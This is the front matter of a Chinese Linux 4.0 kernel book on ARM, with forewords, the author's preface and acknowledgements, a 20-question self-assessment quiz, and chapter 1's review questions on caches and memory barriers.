奔跑吧 Linux内核

978-7-115-46502-3
作者: 张天飞
译者:
编辑: 张爽

图书目录:

详情

本书讲述最新Linux内核源代码实现的关键点,包括内存、进程、同步机制以及调试方法等,希望把最新的Linux内核讲透。书中涉及最贴近技术前沿的内容,比如手机上流行的big.LITTLE架构,以及在Android 7.1系统中将会用到的EAS节能调度器等。写作结构方面,每章前会先提出问题,这些问题都来源实际工程设计、大公司面试题目和大家容易混淆的问题;每章后会有本章内容概况和对源代码的点评。

图书摘要

版权信息

书名:奔跑吧 Linux内核

本书由人民邮电出版社发行数字版。版权所有,侵权必究。

您购买的人民邮电出版社电子书仅供您个人使用,未经授权,不得以任何方式复制和传播本书内容。

我们愿意相信读者具有这样的良知和觉悟,与我们共同保护知识产权。

如果购买者有侵权行为,我们可能对该用户实施包括但不限于关闭该帐号等维权措施,并可能追究法律责任。

• 著    张天飞

  责任编辑 张 涛

  执行编辑 张 爽

• 人民邮电出版社出版发行  北京市丰台区成寿寺路11号

  邮编 100164  电子邮件 315@ptpress.com.cn

  网址 http://www.ptpress.com.cn

• 读者服务热线:(010)81055410

  反盗版热线:(010)81055315

本书内容基于Linux 4.0 内核,主要选取了Linux 内核中比较基本和常用的内存管理、进程管理、并发与同步,以及中断管理这4 个内核模块进行讲述。全书共分为6 章,依次介绍了ARM 体系结构、Linux内存管理、进程调度管理、并发与同步、中断管理、内核调试技巧等内容。本书的每节内容都是一个Linux 内核的话题或者技术点,读者可以根据每小节前的问题进行思考,进而围绕问题进行内核源代码的分析。

本书内容丰富,讲解清晰透彻,不仅适合有一定Linux 相关基础的人员,包括从事与Linux 相关的开发人员、操作系统的研究人员、嵌入式开发人员及Android 底层开发人员等学习和使用,而且适合作为对Linux 感兴趣的程序员的学习用书。

As Linux spreads out into more and more systems in all areas of computing, understanding the internals of the operating system becomes a very valuable skill. This book will help you learn about the core internals of the Linux operating system, providing you the knowledge to be able to adapt Linux to work properly for the new devices and environments that you create.

Linux操作系统已经部署到越来越多计算领域的系统中,理解操作系统内核的实现就变成一个具有极高价值的技能。《奔跑吧Linux内核》可以帮助你学习Linux操作系统最关键的内核,让你有足够多的知识去将Linux顺利应用到你所创造的新设备和新应用环境中。

—— Greg Kroah-Hartman

Greg Kroah-Hartman简介:Linux基金会院士,Linux内核核心领袖之一,Linux stable tree的维护者,《Linux Device Drivers》一书的作者之一。

非常荣幸接到张天飞的邀请,为《奔跑吧Linux内核》一书写序。

初识天飞,大概是十几年前了。那时的天飞大学毕业不久,我已经当了十多年的大学教师。由于共同的爱好和热情,我们有缘在计算机底层系统软件,尤其是Linux操作系统内核这一神秘而充满乐趣的领域中一起摸爬滚打、专研内核技术。跟他的名字一样,天飞给我的印象就像一个活力四射的雄鹰,有着渴望求知的翅膀,永远不知疲倦地在Linux内核这一广阔天空自由自在地翱翔。虽然我年长于天飞,但是我们习惯称呼他为“飞哥”,因为他有一个很酷的网名叫Figo,我猜想他是足球天才菲戈的粉丝。又正巧我也非常喜爱足球,这加深了我们惺惺相惜的战斗情谊。十几年前,我们俩在一个“战壕”里工作了很长一段时间,并且合作出版了一本嵌入式系统相关的教材书籍。

转眼间,当年的飞哥如今已经成为稳健成熟的“笨叔叔”,从事Linux内核和驱动开发有十余年的时间,也曾在多家芯片公司从事过手机芯片底层软件开发和客户支持工作,还从事Android手机底层软件开发和项目管理工作。十几年的技术浸润,使得他从身体到灵魂都烙上Linux的印记。从一个飞天少年,到一个内功深厚的Linux“笨企鹅”,他永远在Linux内核的自由世界里不停地奔跑。这一次,他还要带上他的作品,跟广大读者朋友一起分享Linux内核的乐趣。

言归正传,说一说《奔跑吧 Linux内核》。在物联网、大数据、云计算这些充满创新的领域,操作系统作为计算机系统软件的基石,吸引着无数技术爱好者投身其中。社会在奔跑,技术也在奔跑,Linux内核发展至今已经越来越复杂、越来越庞大。许多新技术、新算法、新补丁不断融入到Linux内核之中,同时也有许多内核初学者和开发工程师加入到研究Linux内核的队伍之中。要充分阅读和理解Linux内核代码越来越不容易。各种Linux内核学习经典著作如同不灭的火种,点燃学习者思想的火把,使他们在Linux内核这条崎岖不平的道路上勇敢追寻理想、探索光明。这些经典著作,我认为大致可以分为3类。

(1)内核原理类:从理论层面上为读者介绍操作系统设计与实现中所涉及的技术原理,代表作有《操作系统:精髓与设计原理》《现代操作系统》《操作系统概念》。

(2)内核剖析类:从代码实现角度为读者分析操作系统主要模块的设计与实现,代表作有《FreeBSD操作系统设计与实现》《Linux内核设计与实现》《深入理解Linux内核》。

(3)动手实践类:从零开始带领读者实现一个小型内核,代表作有《Orange’s:一个操作系统的实现》《30天自制操作系统》,以及我的拙著《操作系统设计与实现》。

与上述这些书相比,《奔跑吧 Linux内核》有着自己的独特之处。

第一,该书采用问题导向式的内核源代码分析方式。这是非常有益的尝试,颠覆了传统内核分析书籍的做法。我们都知道,Linux内核代码动辄几百万行,阅读起来时间成本呈指数式上升,难免会让读者望而却步或者昏昏欲睡。本书作者创新性地在每一章的开头以提问的方式抛出相应问题,以吸引读者的注意力和好奇心。而且这些问题非常有趣并且贴近读者需求,它们有的来源于作者长期实际工程项目中遇到的问题并抽象总结,有的是作者在阅读和学习内核代码时产生过的疑问,有的是作者及其朋友在相关面试中关于Linux内核的题目。

第二,该书基于最新的Linux内核版本,力求反映Linux内核社区最新的开发技术,一些热点话题令我印象深刻,例如内存管理漏洞Dirty COW的分析、手机操作系统Android 7.1.1中各种新算法等内容。

第三,作者别出心裁地在本书开篇提供一份Linux内核奔跑卷,读者可以将它作为水平测量、面试题目准备之用,希望能提高读者兴趣,让读者在快乐中开始奔跑。

第四,该书内容选择少而精,以ARM32和ARM64体系结构为基础,重点介绍了Linux内核中最基本最常用的内存管理、进程管理、并发与同步、中断管理等模块。

相信本书的特色和内容将使读者受益匪浅。

自由软件的精神在天上飞,Linux的企鹅在地上跑。非常诚挚地欢迎大家跟着昔日的“飞哥”、现在的“笨叔叔”一起翱翔、一起奔跑!

“奔跑吧!Linux内核学习者!”

陈文智

2017年6月于浙江大学

对于徘徊在Linux Kernel大门外的初学者而言,这个结构复杂的庞然大物无疑令人心生敬畏,既渴望能早日如庖丁解牛般游刃有余地应用,同时也感觉学起来千头万绪、无从下手。这时,一本好的入门书籍就尤为重要,它能在古树参天、藤蔓缠绕的丛林中为你开辟出一条条穿行的道路,让你从容地游走其间,赏奇景、悟真谛。

对于我学习Kernel的经历而言,毛德操和胡希明老师的《Linux内核源代码情景分析》就是这样一本好书,我一直把它奉为Linux Kernel学习的“圣经”。初学时,我把这本书当作代码阅读的参考书,它为理解代码提供了充足的硬件和软件知识背景,在我一筹莫展时有如长者般在耳边娓娓道来。

后来从事Linux Kernel开发的工作,在开源社区里摸爬滚打了很多年,也有了一些自己的积累。经常遇到年轻的初学者让我推荐学习的资料,在我内心排在首位的还是《Linux内核源代码情景分析》,然而Linux Kernel日新月异,架构设计不断演进,新的特性层出不穷,基于2.4版本Kernel的源代码情景分析是否依然是初学者的最佳“导师”?我犹豫了,我抑制了内心强烈推荐的欲望,因为我不确定是否会误人子弟。

我和天飞在一个技术会议上认识,他给我的第一感觉是知识面很广,同时也很注意细节。后来有幸在同一家公司工作,交流愈发频繁起来。在他向我描绘内心的愿望时,我其实有一些震撼。他认为现在内核的学习曲线越来越陡峭,硬件平台之间的竞争也越来越激烈。他希望能总结他在学习和工作中的经验,让更多人特别是非主流平台的开发者看到不同平台上的Linux Kernel的风景。在现在这个浮躁的年代,很多人都追求“短、平、快”,写书是一件很耗时而且有可能费力不讨好的事情。但我知道,现在ARM平台基于最新kernel的技术书籍非常欠缺,我也期望有一本书能传承情景分析,同时弥补情景分析的不足,使更多的人受益。

后来,看着基于当前最新的4.x Kernel的《奔跑吧 Linux内核》逐渐成型,我内心充满期待。它同情景分析类似,以背景总览起步,以核心代码分析为辅,穿插介绍其他相关的知识点,慢慢地展开某一个子系统的优美画卷,为刚开始阅读Kernel源代码的初学者带来了福音。另外在开篇时设问,让读者能带着疑问读下去,在阅读的过程中努力发掘问题的答案,最后与作者给出的答案做对比来确认自己的理解是否有偏差。

当然一本书不可能解决读者的所有问题,但一本好书能带领读者走进Linux Kernel世界的大门。“纸上得来终觉浅”,最好的学习Linux Kernel的方式还是阅读源代码,并参与到真正的工程实践中来。希望《奔跑吧Linux内核》作为一个很好的“引路人”,为Kernel代码的学习者扫清障碍,引发更深层次的思考。愿你们能够早日亲睹Kernel的真正面目!

肖光荣

2017年6月

Linux及开源软件(Open Source Software)这两个名词对于笔者及各位专家应该是十分熟悉,但对一般人而言,这两个名词仍是比较陌生的。我们经常提及手机的操作系统安卓(Android)、智能家居、车载系统等,许多产品都在应用Linux及开源软件。每天到微博、微信、优酷翻一翻不同的信息、新闻及视频也成为了我们生活的一部分。这些视频的主角往往在很短的时间内成为“网红”,这已经是见怪不怪的事情了。想象一下,全世界究竟有多少网民与你同一时间一起关注这个视频?又有多少大事同时发生?在这个瞬息万变的互联网时代,要处理和分析这些大数据(Big Data),都要靠Linux及开源软件。

我本想以“日新月异”来形容科技的发展,但现在用“分秒必争”应该更为合适!在急促发展的科技背后,有无数开源社区和贡献者的参与和支持,他们不断地推动开源的发展。开源社区是一个极为多元化的世界,在社区中,大家不谈背景、性别、出身,只要志同道合,大家便可以一起参与和协作不同的开源项目。

开源社区的力量有多大?Linux基金会对旗下所有的开源项目进行统计,截至2015年8月31日,共有超过3000名的贡献者累积贡献了1.249亿行的代码,这相当于44918人一年的工作量。假设1000名开发者各自进行开发,也需要45年才可以完成这项创举!一般来说,大家可能每月或每周要对手机系统或App进行更新,如果没有这么强大的社区协作,如何可以跟得上这般急促的步伐?

谈到今年(2017年)开源社区的活动,其中一个非常有影响力的当属首次在中国举办的LinuxCon+ContainerCon+CloudOPEN (LC3) 会议,Linux及Git的创始人Linus Torvalds为此次会议首次访问中国,并与世界各地的开源专家一起对Linux及开源的主题进行交流。

我小时候很喜欢看“哆啦A梦”“龙珠”这些卡通片,里面会出现如竹蜻蜓、个人宇宙飞船、AI人工智能(Artificial Intelligence)等神奇的工具,当时听起来好像是天方夜谭,但从现今的科技来看,有一些很火的开源项目,如IoT(物联网)用于汽车及飞机无人驾技术等,这些科技产物在不久的将来即可实现。

《奔跑吧Linux内核》是一本难得的讲解Linux内核好书,也是首本Linux 4.x内核书籍,反映了Linux内核社区的科技发展,是一本体现了全球华人参与Linux内核社区的杰作。本书中对Linux内核独特的问题导向式的批注和奔跑卷让我印象深刻,可以让读者全面了解内核的工作原理和机制,让更多的人参与到Linux内核开发和产品开发中。这本书将让你对开发Linux核心有更进一步的理解及思考,我极力推荐这本书给有志成为开发人员或对Linux开发感兴趣的人员阅读!

开源科技渐渐成为人类的必需品之一,在此亦非常感谢如作者般的开发人员,你们就是创新科技的“开拓者”!最后,我们也希望和鼓励更多年轻的人们加入我们,一起为创新科技和开源的生态圈做出贡献!

Maggie Cheung

Linux Foundation APAC

2017年5月于香港

在参加2017年北京举办的LinuxCon大会期间遇到了张天飞,了解到他正在写作一本《奔跑吧Linux内核》新书。回来后读了本书的样章,其问答方式的写作手法构思巧妙;以工程实践经验为基础,让读者把知识活学活用的创意也颇有特色。书名也很吸睛,《奔跑吧Linux 内核》这个书名,源于作者每天坚持奔跑5公里,而且该书作者打算跟随Linux 内核版本的演变不断地更新本书。也希望读者跟随本书,坚持学习Linux内核不动摇。

——陈莉君 西安邮电大学

Linux是一个应用非常广泛的、成熟的操作系统。Linux内核是整个Linux的基础和核心,包括从存储管理、CPU和进程管理、文件系统、设备管理和驱动、网络通信到系统引导、系统调用等内容,非常值得搞嵌入式、物联网、机器人、智能硬件、VR/AR等领域需要软硬件协同开发设计的工程师们深入研究。此书就是以Linux为例,详尽阐述了原本枯燥的操作系统的方方面面的知识,是一本很好的从知晓到熟悉Linux的进阶学习读物。 张天飞是12年前和我在上海亿道的同事,非常热爱底层技术探究。直到现在还能够静下心来做些底层研究的同志不多,希望他可以不断分享多年学习心得和从业经验给广大Linux学习者。加油!

——石庆 亿道控股Emdoor联合创始人&亿境虚拟现实技术有限公司总经理

Linux内核与我们的生活息息相关,从手机、平板电脑、服务器、汽车到智能家电,都能看到它的身影。长久以来,一直没有一部深入浅出介绍整个Linux内核的中文书。英文书很多也是稍显过时,因为内核的变化是如此之快。很高兴看到有这样的一本书出版,把最新的内核与内核设计及一些重要变更的原因呈现出来,让内核不再是一个黑盒子。这对任何要做性能优化、开发驱动程序,甚至直接修改内核的人来说是一大福音。

——Tim Chen Linux内核资深技术专家

这是一本深入讲解基于ARM Cortex-A处理器在服务器和智能设备上运行Linux系统的书,可以帮助读者理解硬件如何与底层Linux内核交互,对Linux内核爱好者和Platform/BSP软件开发者系统学习工作很有益。

——修志龙 ARM公司应用工程师经理

对于安卓智能手机底层系统研发人员来说,本书有如一场及时雨,不仅在全球范围内首次解读了最新的ARM64体系架构和Linux 4.x内核,还及时呈现了与智能手机系统用户体验密切相关的内核新技术,比如EAS调度器。本书作者携十余年的Linux内核和驱动开发经验,倾情奉献,诚意满满,推荐细细品读、慢慢揣摩!

——吴章金 魅族手机研发中心BSP部技术总监

本书的形式设计非常巧妙,它采用一种启发问答的形式,这样容易让读者带着问题去阅读,并可以直接用回答问题来验证阅读的效果。本书的另外一个特点是内容新,能够紧扣内核的新变化。

——宋宝华 Linux内核资深技术专家,技术畅销书作者

这是一本Linux操作系统工匠的力作,作者站在Linux操作系统前沿,以情景分析的方法向我们展示了最新版本内核的秘密。与所有深入讲解内核代码的书籍一样,本书同样值得读者反复推敲、仔细琢磨。如果你在阅读本书的过程中有更好的建议和意见,请告诉所有人。毕竟,开源社区是集市,而不是教堂。

——谢宝友 中国开源软件推进联盟专家委员,Linux ZTE平台维护者

在软件定义一切的时代,作为开源世界重要基石的Linux变得越发重要,掌握坚实的Linux内核知识几乎是软、硬件工程师进阶所必须的。本书作者采用交互问答的方式,将最新Linux内核抽丝剥茧,依次呈现给读者,既适合初、中级开发人员系统学习,也适合高级开发人员随时参阅,强力推荐!

——段夕华 IT老兵,开源技术爱好者

伴随计算机层次化体系结构的更迭,操作系统、编译系统和数据库作为IT、互联网及物联网的基石,多年来不断演进。而Linux内核自1991年发起至今,集数万人智慧结晶,承上启下,早已成为学术界与工业界协作与创新的重要平台。本书作者从事Linux内核研发多年,勤于总结,故能将其脉络梳理详略得当,恰到好处。希望本书会让您踏上一次愉悦的内核之旅,不虚此行。

——刘杰 百度主任研发架构师,Linux内核资深技术专家,XFS文件系统核心开发者

学习Linux内核的第一手材料必然是代码,但是单纯研读代码犹如盲人摸象,容易迷失方向。本书立足于代码分析,辅以大量的子系统的概观,并以启发式问题为线索,让你在Linux内核的世界游刃有余、得心应手。

——赖江山 Linux内核SRCU模块的维护者

大数据与人工智能的发展方兴未艾,遮掩了TMT底层基础设施应有的光芒。Linux从1991年至今,廿年有余,历经了最初的前卫与今日的普及,每一个年代依然在演绎着新的故事。辉煌之余,略有遗憾,近些年全球鲜有书籍对Linux 4.x时代进行系统的梳理,本书弥补了这一遗憾,在此向致力于底层基础架构领域的读者推荐此书。

——王齐《Linux PowerPC详解—核心篇》和《PCI Express体系结构导读》作者

毫无疑问,ARM平台是目前使用最广泛的计算机平台,也是Linux系统应用最广泛的平台,这本基于ARM的Linux Kernel 4.x内核分析来得恰是时候。本书从ARM的系统硬件开始介绍,导出基于这些硬件的内核软件设计;从应用常见的系统调用开始,展开到在内核中如何实现这些系统调用,为中级层次读者一一揭开Linux系统内核的面纱。独特的问答方式也为该书的一大亮点,即使是内核老手也能在阅读中发现乐趣。希望此书能给国内广大内核爱好者带来欢乐和帮助!

——时奎亮 Linaro资深内核专家

近些年来,使用安卓操作系统的智能手机热销,未来也将是物联网、大数据、云计算的大时代,而运行在这些相关产品最深处的几乎都是Linux内核。我一直在凝望你,你看不见我,我是谁?我是奔跑中的Linux内核小企鹅。

说起和Linux的渊源,要追溯到十几年前的大学时代了。2002年,正在读大二的我购买了人生第一台电脑,AMD的毒龙CPU,在同学的指导下安装了RedHat 9,这是我第一次接触Linux操作系统。从此,我就被Linux系统深深地吸引了,乐不思疲地折腾着我的RedHat 9。2004年春天在实验室忙着做毕业设计时,蓦然回首看到小伙伴桌上有两本厚厚的《Linux内核源代码情景分析》,我再次被深深地吸引了,心里嘀咕着不知道什么时候才能看得完和看得懂。到了2017年的今天,已经毕业12年多了。12年的光景让我从一名大学生变成了“笨叔叔”,也让Linux内核这个小企鹅变成今日的科技明星。与12年前相比,Linux内核代码已经发生了翻天覆地的变化,但是不变的是一群热爱Linux内核的小伙伴,那是一群奔跑着的年轻人。《Linux内核源代码情景分析》这本书在Linux内核圈里被称为经典,可是它讲述的内核版本是2001年发布的Linux 2.4.0,距今已经有16年了。

回顾学习Linux内核的那段经历,我愈发体会到Linux内核的功夫在Linux内核之外。Linux内核变得越来越庞大,特别是现在硬件的发展速度非常快,各种不同的思想和实现如雨后春笋一般,各种各样的补丁也让人眼花缭乱。对于一个初学者或者有经验的工程师来说,要阅读和理解最新版本的Linux内核变得越来越困难。而且现在市面上Linux内核书籍都比较旧,最经典的《深入理解Linux内核》讲述的是Linux 2.6.11内核,它发布于2005年,《深入Linux内核架构》中讲述的Linux 2.6.24内核是2008年1月发布的。以每2~3个月发布一个Linux内核新版本的速度,这些书中的内核版本与当前的4.x内核不可同日而语。另外,我发现身边不少朋友很想把Linux内核吃透,然后购买了不少Linux内核的书籍,但有时好几天也没读几页。究其原因是,现在市面上已有的Linux内核书籍大多是教科书式地讲述知识点,机械式地讲述内核代码的实现,读起来很容易让人犯困。

Linux内核代码由一个一个补丁组成,这些补丁都是为了解决某个问题或者添加某些新的功能,因此最好的学习方法是:理解代码是为了解决什么问题,如何解决的,要了解问题的来龙去脉。对于学习Linux内核这件事情来说,应该和孩提时读“十万个为什么”一样,以问题为中心,通过阅读代码和书籍来寻找答案,比如你在用C语言写一个很简单的程序时,应该想想malloc何时分配出物理内存。当你带着疑问去阅读代码以及独立思考之后,会得到一种享受和愉悦,这就是我说的“Linux内核的功夫在于内核之外”。因此,站在设计者的角度来提出疑问,进而阅读代码和分析推理求索之后,终于有种“拨开迷雾见天日”的喜悦。

1.问题导向式的内核源代码分析

Linux内核庞大而复杂,任何一本厚厚的Linux内核书籍都可能会让人看得昏昏欲睡。因此本书想做一个尝试,总结我多年来在学习Linux内核代码和实际工程项目中遇到的比较常见的疑问,以疑问为中心讲述内核代码。在讲述每章之前,首先列举出一些思考题,激发读者探索未知的兴趣。

这些思考题主要来自于如下3个方面。

2.力求反映Linux内核社区最新的开发技术

本书基于Linux 4.x内核,我会在每章末尾尽量把内核技术的最新发展情况分享给读者。另外,我也会加入一些最新的热点话题,比如内存管理漏洞——Dirty COW的分析;手机领域最新Android 7.1.1版本中的EAS节能调度器、WALT算法、PELT算法改进、Queued Spinlock等。

3.Linux内核奔跑卷

本书开篇会提供一份Linux内核奔跑卷,这也是Linux内核书籍中一个新的尝试。读者可以将其用于Linux内核水平测试或面试题目,我希望能给读者带来阅读Linux内核的兴趣和探索知识的乐趣。

4.QEMU调试环境和内核调试技巧

在阅读Linux内核时,大多数人都希望有一个功能全面且好用的图形化界面来单步调试内核。本书中会介绍一种图形化单步调试内核的方法,即Eclipse+QEMU+GDB。另外,本书提供首个采用“-O0”编译和调试Linux内核的实验,这样可以解决调试时出现光标乱跳和<optimized out>等问题。本书也会介绍实际工程中很实用的内核调试技巧,例如ftrace使用、systemtap、内存检测、死锁检测、动态打印技术等,这些都可以在QEMU+ ARM Linux的模拟环境下做实验。

5.ARM32和ARM64体系架构

本书以ARM32和ARM64体系架构为蓝本,介绍Linux内核的设计与实现。

Linux内核涉及的内容包罗万象,但本书不想成为一本大而全的书,因此只选取了最基本最常用的内存管理、进程管理、并发与同步和中断管理这4个内核模块进行讲述,力求把我所理解的东西完整记录下来。

本书中每节的内容都是一个Linux内核的话题或者技术点,在每节开始之前会先提出若干个问题,读者可以根据这些问题先思考,然后围绕这些问题进行内核源代码的分析,最后是对相应内容的一个小结。

Linux内核奔跑卷一共20道题目,每题10分,一共200分,读者可以在2小时内完成。

第1章处理器体系结构。简单介绍ARM32和ARM64结构中一些比较常见的问题,例如cache组织架构、cache一致性管理、页表访问、MMU、内存屏障等与体系结构相关的内容。

第2章内存管理。包括物理内存初始化、内存分配、伙伴系统、slab分配器、malloc内存分配、mmap系统调用、缺页中断、匿名页面的宿命、物理页面page结构、反向映射、页的迁移、KSM、DirtyCOW、页面回收、内存管理数据结构框架等内容。

第3章进程管理。包括fork系统调用、CFS调度器、PELT算法改进、SMP负载均衡、HMP调度器、WALT算法、EAS绿色节能调度器等内容。

第4章并发与同步。包括原子变量、spinlock、信号量、读写信号量、Mutex、RCU等内容。

第5章中断管理。包括硬件中断处理、软中断、Tasklet、workqueue等内容。

第6章内核调试。包括内核单步调试、ftrace使用、systemtap使用、内存检测、死锁检测、动态打印技术等内容。

本书罗列的内核代码均为代码片段,显示的行号也并非源代码的实际行号,只是为行文描述方便。另外,在实际代码中有大量的注释,本书为了节省篇幅而省略了大量的代码注释,建议读者对照代码来阅读。

本书在实际代码讲解时还列举了一些关键的patch,阅读这些patch有助于帮助读者理解代码。建议读者下载官方Linux的git tree。下载代码命令如下:

#git clone <a>https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git</a>

#git reset v4.0 –hard

列举的patch格式如下:

Linux2.6.29, commit bf3f3bc5e, <mm: don't mark_page_accessed in fault path>, by Nick Piggin.

表示在Linux 2.6.29中加入了此patch,git commit的前几位ID号是“bf3f3bc5e”,读者可以通过“git show bf3f3bc5e”命令来查看该patch,该patch的标题是“<mm: don't mark_page_accessed in fault path>”,作者是Nick Piggin。

由于作者知识水平有限,书中难免存在纰漏和理解错误之处,敬请各位读者朋友批评指正。我的邮箱:runninglinuxkernel@126.com。新浪微博:@奔跑吧Linux内核。大家也可以扫描下方的二维码,到我的微信公众号中提问和交流。

本书作者从事Linux内核和驱动开发十余年,是Linux内核的爱好者,曾在多家芯片公司从事过手机芯片底层软件开发和客户支持工作。

写一本Linux内核方面的书籍是笔者多年来的一个小心愿。本书取名为《奔跑吧Linux内核》,一是Linux内核在蓬勃发展,全球众多杰出的公司和开发者都在为Linux内核社区开发令人激动的新功能;二是我们要不断地向前狂奔才能赶上Linux内核发展的步伐;三是作者有一个人生目标,希望每天能坚持奔跑5千米,直到80岁,因此作者希望和广大读者共勉。在开始撰写本书时Linux内核版本才到4.0,完稿时Linux内核已经发展到4.10版本了,作者选择一个整数版本Linux 4.0作为本书学习和分析的版本。谭校长有一首歌叫《八十岁后》,歌词是“总相信,八十岁后,仍然能分享好戏”,他坚持要开演唱会到八十岁。我也有一个小小的目标,希望日后Linux内核发展到5.0、6.0……版本时,《奔跑吧Linux内核》依然能以最快的速度修订和大家见面。

几经放弃,几经坚持,听着Beyond的歌,咬着冷冷的牙,坚持着心中那个万里奔跑的信念。在繁忙工作之余写书是很枯燥的,但是期间我得到了众多Linux内核社区朋友的热心帮助和鼓励。特别是陈绪、吴峰光、Tim Chen、肖光荣、李泽帆、Waiman Long、冯博群、谢宝友、杜雨阳、郭健、孟卫国、修志龙、朱辉、宋宝华、吴章金、王齐、薛坤、刘勃、刘杰、郭哲佑、郭雄飞以及胡振波,他们为本书审阅了全部或者部分稿件,提出了很多很好的意见和建议。另外还要感谢石庆、Fane Li、Law Hock Yin、周祥、何章龙、杜秉权、杨永刚、张思超、段夕华、周琰玉、涂小兵、杨晨星、杨冬冬、孟皓、王建强、王智、宋吉科、何刘宇、Tian Jun等给予的帮助。感谢南京大学软件学院的夏耐老师在KSM项目中的指导,让我对Linux内核内存管理有了更深刻的理解和认知,还要感谢任德志老师的鼓励和帮助。

本书在编写过程中得到了Linux内核社区众多杰出华人开发者以及maintainer(维护者)的鼓励和帮助,他们仔细审阅本书并提出了独特的见解和建议,这些都是无价的。在此再一次表达我的感激之情,他们都是Linux内核社区最杰出的华人代表(排名不分先后)。

陈绪 中国开源软件推进联盟常务副秘书长。

吴峰光 Linux内核社区资深技术专家,0-day内核测试项目的发起人,其预读算法和回写算法享誉内核社区。

肖光荣 Linux内核社区资深技术专家,KVM社区和Qemu社区的核心开发者和maintainer。

Tim Chen Linux内核社区资深技术专家,Linux MCS锁和Mutex自旋等待机制的作者。

Waiman Long RedHat公司Linux内核资深技术专家,Linux内核著名的锁专家,为读写信号量、Mutex和Queue Spinlock等做出杰出的贡献。

李泽帆 华为资深Linux内核技术专家,Cgroup及cpuset模块的co-maintainer。

谢宝友 Linux内核社区ZTE平台维护者,中国开源软件推进联盟专家委员,《深入理解并行编程》译者。

郭健 Linux内核资深技术专家,技术网站蜗窝科技创始人。

冯博群 Linux内核社区资深技术专家。

孟卫国 Linux内核资深技术专家。

杜雨阳 Linux内核社区CFS调度器专家,为CFS中的PELT算法做出重大优化和贡献。

修志龙 ARM公司应用工程师经理,精通Cortex系列处理器架构。

王齐 计算机体系结构资深技术专家,著有《Linux PowerPC详解——核心篇》和《PCI Express体系结构导读》。

宋宝华 Linux内核资深技术专家,ARM Linux社区maintainer,著有《Linux设备驱动开发详解》。

吴章金 魅族手机研发中心BSP部技术总监。

刘杰 百度主任研发架构师,Linux内核资深技术专家,XFS文件系统核心开发者。

朱辉 小米科技Linux内核技术资深专家,KGTP项目发起人,GDB项目的maintainer。

夏耐 南京大学计算机博士,操作系统资深专家。

感谢我的领导Liu Song先生和Luebbers Enno先生对我的支持和帮助。同时感谢人民邮电出版社的张涛和张爽两位编辑的辛勤付出,才让本书顺利出版。最后感谢我的家人对我的支持和鼓励,虽然周末时间都在忙于写作本书,但是他们总是给我无限的温暖。

浙江大学计算机学院是全球最早开始从事Linux内核研究和教学的高校之一,非常感谢陈文智院长为本书作序,陈老师一直持续关注和鼓励本书的编写和出版,给了我很多指导性的意见和建议。

毛德操和胡希明老师编写的《Linux内核源代码情景分析》一书是中国Linux内核发展史上一个永恒的经典,在此向这两位老学者和前辈致敬。此时此刻,脑海里响起了一首歌:“一追再追,只想追赶生命里,一分一秒”。愿和大家一起奔跑、一起追赶、不浪费生命的一分一秒。

张天飞

2017年夏于上海

在阅读本书之前,请读者用两小时来完成Linux内核奔跑卷,对Linux内核了解程度做简要的了解。奔跑卷仅仅是Linux内核知识的娱乐游戏节目,希望能给读者带来一丝乐趣,套用国内某个科技圈里知名人士的名言“不服,来跑个分吧!”。

下面一共20道大题目,每道大题目10分,一共200分,读者可以边阅读内核源代码边做题目,请在两小时内完成。如没有特殊说明,本奔跑卷基于Linux 4.0内核和ARM32/ ARM64体系架构。

1.请简述在你所熟悉的处理器中(比如双核Cortex-A9)一条存储读写指令的执行全过程。

2.在一个32KB的4路组相联的cache中,其中cache line为32Byte,请画出这个cache组相联的结构图。

3.内核的一级页表和二级页表存放在什么地方?用户进程的一级页表和二级页表分别存放在什么地方?

4.关于伙伴系统的几个小问题:

5.关于物理页面内存分配器的几个小问题:

6.关于slab分配器几个小问题:

7.用户进程使用malloc()来分配10个page大小的内存,请问内核是否马上分配物理内存?请描述malloc()在内核空间的实现过程。

8.关于struct page数据结构的几个小问题:

9.关于页面回收的几个小问题:

10.关于内存管理的几个重要的数据结构的关系,如mm、vma、page、vaddr、paddr:

11.关于缺页中断和虚拟内存的几个小问题:

12.关于进程的几个小问题:

int main(void)
{
    int i;
    for(i=0; i<2; i++){
         fork();
         printf("-\n");
    }
         wait(NULL);
         wait(NULL);
         return 0;
}

13.关于CFS调度器的几个小问题:

14.关于SMP负载均衡的几个小问题:

15.关于spinlock的几个小问题:

16.读写信号量使用的自旋等待机制(optimistic spinning)是如何实现的?

17.关于RCU的几个小问题:

18.关于中断的几个小问题:

19.关于软中断的几个小问题:

20.关于workqueue的几个小问题:

答案:

奔跑卷的答案都分布在本书的各个章节。

如果答对了90%以上,那么恭喜您,您是深入了解Linux内核的高手,本书可能不适合您,不过您可以转给身边有需要的小伙伴。

如果答对了30%以上,那么您对Linux内核有一定的了解,当然本书也适合您继续深入了解。

如果答对题目少于30%,那么您还不是十分了解和精通Linux哦。现在就开始阅读本书,与笨叔叔和小企鹅一起快乐奔跑吧!当然您也可以先阅读Robert Love的《Linux内核设计与实现》,或者《Linux设备驱动程序》,然后再阅读本书。

本章思考题

1.请简述精简指令集RISC和复杂指令集CISC的区别。

2.请简述数值0x12345678在大小端字节序处理器的存储器中的存储方式。

3.请简述在你所熟悉的处理器(比如双核Cortex-A9)中一条存储读写指令的执行全过程。

4.请简述内存屏障(memory barrier)产生的原因。

5.ARM有几条memory barrier的指令?分别有什么区别?

6.请简述cache的工作方式。

7.cache的映射方式有full-associative(全关联)、direct-mapping(直接映射)和set-associative(组相联)3种方式,请简述它们之间的区别。为什么现代的处理器都使用组相联的cache映射方式?

8.在一个32KB的4路组相联的cache中,其中cache line为32Byte,请画出这个cache的cache line、way和set的示意图。

9.ARM9处理器的Data Cache组织方式使用的VIVT,即虚拟Index虚拟Tag,而在Cortex-A7处理器中使用PIPT,即物理Index物理Tag,请简述PIPT比VIVT有什么优势?

10.请画出在二级页表架构中虚拟地址到物理地址查询页表的过程。

11.在多核处理器中,cache的一致性是如何实现的?请简述MESI协议的含义。

12.cache在Linux内核中有哪些应用?

13.请简述ARM big.LITTLE架构,包括总线连接和cache管理等。

14.cache coherency和memory consistency有什么区别?

15.请简述cache的write back有哪些策略。

16.请简述cache line的替换策略。

17.多进程间频繁切换对TLB有什么影响?现代的处理器是如何面对这个问题的?

18.请简述NUMA架构的特点。

19.ARM从Cortex系列开始性能有了质的飞越,比如Cortex-A8/A15/A53/A72,请说说Cortex系列在芯片设计方面做了哪些重大改进?

